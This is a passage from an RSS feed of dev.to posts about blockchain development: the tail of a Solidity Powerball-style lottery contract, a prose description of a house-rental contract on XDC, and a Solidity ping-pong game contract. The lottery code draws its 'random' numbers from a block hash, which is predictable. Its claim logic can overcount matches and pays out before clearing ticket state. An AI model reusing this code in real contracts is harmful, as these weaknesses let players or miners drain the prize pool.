        for (uint i=0; i &amp;lt; 5; i++) {&lt;br&gt;
            bytes32 rand = keccak256(block.blockhash(drawBlock), i);&lt;br&gt;
            uint numberDraw = uint(rand) % MAX_NUMBER + 1;&lt;br&gt;
            rounds[_round].winningNumbers[i] = numberDraw;&lt;br&gt;
        }&lt;br&gt;
        rand = keccak256(block.blockhash(drawBlock), uint(5));&lt;br&gt;
        uint powerballDraw = uint(rand) % MAX_POWERBALL_NUMBER + 1;&lt;br&gt;
        rounds[_round].winningNumbers[5] = powerballDraw;&lt;br&gt;
    }&lt;br&gt;
    function claim (uint _round) public {&lt;br&gt;
        require(rounds[_round].tickets[msg.sender].length &amp;gt; 0);&lt;br&gt;
        require(rounds[_round].winningNumbers[0] != 0);&lt;br&gt;
        uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender];&lt;br&gt;
        uint[6] storage winningNumbers = rounds[_round].winningNumbers;&lt;br&gt;
        uint payout = 0;&lt;br&gt;
        for (uint i=0; i &amp;lt; myNumbers.length; i++) {&lt;br&gt;
            uint numberMatches = 0;&lt;br&gt;
            for (uint j=0; j &amp;lt; 5; j++) {&lt;br&gt;
                for (uint k=0; k &amp;lt; 5; k++) {&lt;br&gt;
                    if (myNumbers[i][j] == winningNumbers[k])&lt;br&gt;
                        numberMatches += 1;&lt;br&gt;
                }&lt;br&gt;
            }&lt;br&gt;
            bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]);&lt;br&gt;
            // win conditions&lt;br&gt;
            if (numberMatches == 5 &amp;amp;&amp;amp; powerballMatches) {&lt;br&gt;
                payout = this.balance;&lt;br&gt;
                break;&lt;br&gt;
            }&lt;br&gt;
            else if (numberMatches == 5)&lt;br&gt;
                payout += 1000 ether;&lt;br&gt;
            else if (numberMatches == 4 &amp;amp;&amp;amp; powerballMatches)&lt;br&gt;
                payout += 50 ether;&lt;br&gt;
            else if (numberMatches == 4)&lt;br&gt;
                payout += 1e17; // .1 ether&lt;br&gt;
            else if (numberMatches == 3 &amp;amp;&amp;amp; powerballMatches)&lt;br&gt;
                payout += 1e17; // .1 ether&lt;br&gt;
            else if (numberMatches == 3)&lt;br&gt;
                payout += 7e15; // .007 ether&lt;br&gt;
            else if (numberMatches == 2 &amp;amp;&amp;amp; powerballMatches)&lt;br&gt;
                payout += 7e15; // .007 ether&lt;br&gt;
            else if (powerballMatches)&lt;br&gt;
                payout += 4e15; // .004 ether&lt;br&gt;
        }&lt;br&gt;
        msg.sender.transfer(payout);&lt;br&gt;
        delete rounds[_round].tickets[msg.sender];&lt;br&gt;
    }&lt;br&gt;
    function ticketsFor(uint _round, address user) public view &lt;br&gt;
      returns (uint[6][] tickets) {&lt;br&gt;
        return rounds[_round].tickets[user];&lt;br&gt;
    }&lt;br&gt;
    function winningNumbersFor(uint _round) public view&lt;br&gt;
      returns (uint[6] winningNumbers) {&lt;br&gt;
        return rounds[_round].winningNumbers;&lt;br&gt;
    }&lt;br&gt;
}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
    </item>
    <item>
      <title>Rent house with my smartcontract on XDC Network</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Tue, 24 Nov 2020 05:17:55 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/rent-house-with-my-smartcontract-on-xdc-network-443i</link>
      <guid>https://dev.to/mahalakshmiper7/rent-house-with-my-smartcontract-on-xdc-network-443i</guid>
      <description>&lt;p&gt;The development environment used is XinFin Remix. The program is compiled through this platform and released into a contract. In addition, XinPay is used to create a wallet for the actual test of this experiment.&lt;/p&gt;

&lt;p&gt;At the beginning of the program, the items of the contract renewal record are announced, including the address of the tenant, the address of the borrower, the rental time, the price per unit time, whether to rent other items, and whether to purchase insurance.&lt;/p&gt;

&lt;p&gt;Next is to deploy the current menu information, and first set the data and information to be recorded as initial values.&lt;/p&gt;

&lt;p&gt;The next step is to record the various data information entered by the user and determine whether the remaining balance of the borrower is sufficient to pay the fee. If the borrower has too little balance, it will refuse to rent.&lt;/p&gt;

&lt;p&gt;Finally, after the end of the lease, the tenant can withdraw the rent. If the non-tenant account cannot be withdrawn, only the tenant can withdraw the rent.&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xinfin</category>
      <category>xdc</category>
    </item>
    <item>
      <title>Deployed a pingpong Game on XinFin XDC Network.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Mon, 23 Nov 2020 09:26:25 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/deployed-a-pingpong-game-on-xinfin-apothem-network-p5</link>
      <guid>https://dev.to/mahalakshmiper7/deployed-a-pingpong-game-on-xinfin-apothem-network-p5</guid>
      <description>&lt;p&gt;Deployed a PingPong game on XinFin XDC Network. Working with games is more interesting then playing that game :P&lt;/p&gt;

&lt;p&gt;Check the code here: &lt;br&gt;
&lt;code&gt;pragma solidity &amp;gt;=0.4.25 &amp;lt;0.6.0;&lt;br&gt;
contract Starter&lt;br&gt;
{&lt;br&gt;
    enum StateType { GameProvisioned, Pingponging, GameFinished}&lt;br&gt;
    StateType public State;&lt;br&gt;
    string public PingPongGameName;&lt;br&gt;
    address public GameStarter;&lt;br&gt;
    Player public GamePlayer;&lt;br&gt;
    int public PingPongTimes;&lt;br&gt;
    constructor (string memory gameName) public{&lt;br&gt;
        PingPongGameName = gameName;&lt;br&gt;
        GameStarter = msg.sender;&lt;br&gt;
        GamePlayer = new Player(PingPongGameName);&lt;br&gt;
        State = StateType.GameProvisioned;&lt;br&gt;
    }&lt;br&gt;
    function StartPingPong(int pingPongTimes) public&lt;br&gt;
    {&lt;br&gt;
        PingPongTimes = pingPongTimes;&lt;br&gt;
        State = StateType.Pingponging;&lt;br&gt;
        GamePlayer.Ping(pingPongTimes);&lt;br&gt;
    }&lt;br&gt;
    function Pong(int currentPingPongTimes) public&lt;br&gt;
    {&lt;br&gt;
        int remainingPingPongTimes = currentPingPongTimes - 1;&lt;br&gt;
        if(remainingPingPongTimes &amp;gt; 0)&lt;br&gt;
        {&lt;br&gt;
            State = StateType.Pingponging;&lt;br&gt;
            GamePlayer.Ping(remainingPingPongTimes);&lt;br&gt;
        }&lt;br&gt;
        else&lt;br&gt;
        {&lt;br&gt;
            State = StateType.GameFinished;&lt;br&gt;
            GamePlayer.FinishGame();&lt;br&gt;
        }&lt;br&gt;
    }&lt;br&gt;
    function FinishGame() public&lt;br&gt;
    {&lt;br&gt;
        State = StateType.GameFinished;&lt;br&gt;
    }&lt;br&gt;
}&lt;br&gt;
contract Player&lt;br&gt;
{&lt;br&gt;
    enum StateType {PingpongPlayerCreated, PingPonging, GameFinished}&lt;br&gt;
    StateType public State;&lt;br&gt;
    address public GameStarter;&lt;br&gt;
    string public PingPongGameName;&lt;br&gt;
    constructor (string memory pingPongGameName) public {&lt;br&gt;
        GameStarter = msg.sender;&lt;br&gt;
        PingPongGameName = pingPongGameName;&lt;br&gt;
        State = StateType.PingpongPlayerCreated;&lt;br&gt;
    }&lt;br&gt;
    function Ping(int currentPingPongTimes) public&lt;br&gt;
    {&lt;br&gt;
        int remainingPingPongTimes = currentPingPongTimes - 1;&lt;br&gt;
        Starter starter = Starter(msg.sender);&lt;br&gt;
        if(remainingPingPongTimes &amp;gt; 0)&lt;br&gt;
        {&lt;br&gt;
            State = StateType.PingPonging;&lt;br&gt;
            starter.Pong(remainingPingPongTimes);&lt;br&gt;
        }&lt;br&gt;
        else&lt;br&gt;
        {&lt;br&gt;
            State = StateType.GameFinished;&lt;br&gt;
            starter.FinishGame();&lt;br&gt;
        }&lt;br&gt;
    }&lt;br&gt;
    function FinishGame() public&lt;br&gt;
    {&lt;br&gt;
        State = StateType.GameFinished;&lt;br&gt;
    }&lt;br&gt;
}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>xinfin</category>
      <category>blockchain</category>
      <category>xdc</category>
    </item>
  </channel>
</rss>
